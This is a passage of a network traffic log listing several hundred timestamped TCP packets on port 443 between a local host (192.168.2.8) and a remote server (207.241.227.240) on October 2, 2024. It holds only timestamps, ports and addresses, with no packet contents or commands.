Oct 2, 2024 05:22:11.673809052 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.673866987 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.673873901 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.673909903 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.684083939 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.684106112 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.684237957 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.684246063 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.684325933 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.709857941 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.709881067 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.709969044 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.709975958 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.710022926 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.747410059 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.747433901 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.747626066 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.747663021 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.747714996 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.761279106 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.761296034 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.761540890 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.761552095 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.761600018 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.762828112 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.762844086 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.762911081 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.762919903 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.762958050 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.763469934 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.763487101 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.763545990 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.763554096 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.763591051 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.764139891 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.764154911 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.764202118 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.764209032 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.764244080 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.764687061 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.764700890 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.764749050 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.764758110 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.764796019 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.775784016 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.775804996 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.775867939 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.775876999 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.775917053 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.802356958 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.802373886 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.802440882 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.802449942 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.802486897 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.839917898 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.839940071 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.840042114 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.840073109 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.840116978 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.853704929 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.853733063 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.853818893 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.853827953 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.853869915 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.855241060 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.855257034 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.855310917 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.855319977 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.855355978 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.855823994 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.855839014 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.855889082 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.855895996 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.855932951 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.856379986 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.856398106 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.856458902 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.856467009 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.856506109 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.856868029 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.856884003 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.856939077 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.856946945 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.856988907 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.869385958 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.869416952 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.869492054 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.869502068 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.869543076 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.869564056 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.894953012 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.894980907 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.895263910 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.895277977 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.895396948 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.932462931 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.932488918 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.932635069 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.932646990 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.932698965 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.956176043 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.956202984 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.956345081 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.956355095 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.956392050 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.956506968 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.956523895 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.956619978 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.956628084 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.956670046 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.957031012 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.957047939 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.957128048 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.957135916 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.957180977 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.957349062 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.957365990 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.957468987 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.957475901 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.957515955 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.957762003 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.957778931 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.957854033 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.957860947 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.957896948 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.961860895 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.961882114 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.961997032 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.962004900 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.962065935 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.987421989 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.987448931 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.987525940 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.987543106 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.987611055 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.024924994 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.024967909 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.025048018 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.025058031 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.025100946 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.048661947 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.048681974 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.048785925 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.048794985 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.048847914 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.049032927 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.049058914 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.049105883 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.049113035 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.049161911 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.049161911 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.049499035 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.049516916 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.049580097 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.049588919 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.049638987 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.050004005 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.050020933 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.050084114 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.050091982 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.050189018 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.050388098 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.050405025 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.050470114 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.050477982 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.050525904 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.054133892 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.054151058 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.054253101 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.054261923 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.054328918 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.079838037 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.079859972 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.080091000 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.080102921 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.080204964 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.117520094 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.117546082 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.117791891 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.117809057 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.117921114 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.141252041 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.141283989 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.141463041 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.141473055 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.141535997 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.141747952 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.141765118 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.141958952 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.141967058 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.142016888 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.142187119 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.142203093 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.142286062 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.142293930 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.142364025 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.142692089 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.142708063 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.142762899 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.142771006 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.142818928 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.143142939 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.143161058 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.143225908 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.143234968 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.143276930 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.146754980 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.146774054 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.146843910 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.146852970 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.146913052 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.172163010 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.172188997 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.172374964 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.172389030 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.172458887 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.210100889 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.210124016 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.210351944 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.210362911 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.210469961 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.233860970 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.233881950 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.234045029 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.234055042 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.234169960 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.234260082 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.234277964 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.234368086 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.234376907 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.234466076 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.234643936 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.234661102 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.234714985 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.234724045 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.234770060 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.235058069 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.235073090 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.235204935 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.235213995 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.235292912 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.235790968 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.235806942 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.235869884 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.235877037 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.235946894 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.264605045 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.264642954 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.264811039 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.264837980 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.264893055 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.290211916 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.290240049 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.290422916 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.290436029 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.290515900 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.302975893 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.302997112 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.303071976 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.303085089 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.303109884 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.303164005 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.326314926 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.326337099 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.326450109 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.326508045 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.326555967 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.326679945 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.326698065 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.326754093 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.326764107 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.326836109 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.327052116 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.327068090 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.327122927 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.327131033 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.327188969 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.327805996 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.327821970 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.327878952 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.327887058 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.327925920 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.328455925 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.328470945 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.328543901 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.328551054 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.328624964 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.356791019 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.356821060 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.356961012 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.356971025 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.357023954 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.382733107 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.382759094 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.382863045 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.382874966 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.382913113 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.382925987 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.395399094 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.395422935 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.395505905 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.395518064 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.395591974 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.419177055 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.419203043 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.419375896 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.419390917 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.419416904 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.419437885 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.419444084 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.419493914 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.419574022 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.419603109 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.419675112 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.419823885 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.419843912 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.419922113 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.419929981 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.419986010 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.420260906 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.420278072 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.420337915 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.420346022 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.420404911 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.420953989 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.420969963 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.421047926 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.421055079 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.421134949 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.422421932 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.449362040 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.449388027 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.449439049 CEST	49704	443	192.168.2.8	207.241.227.240
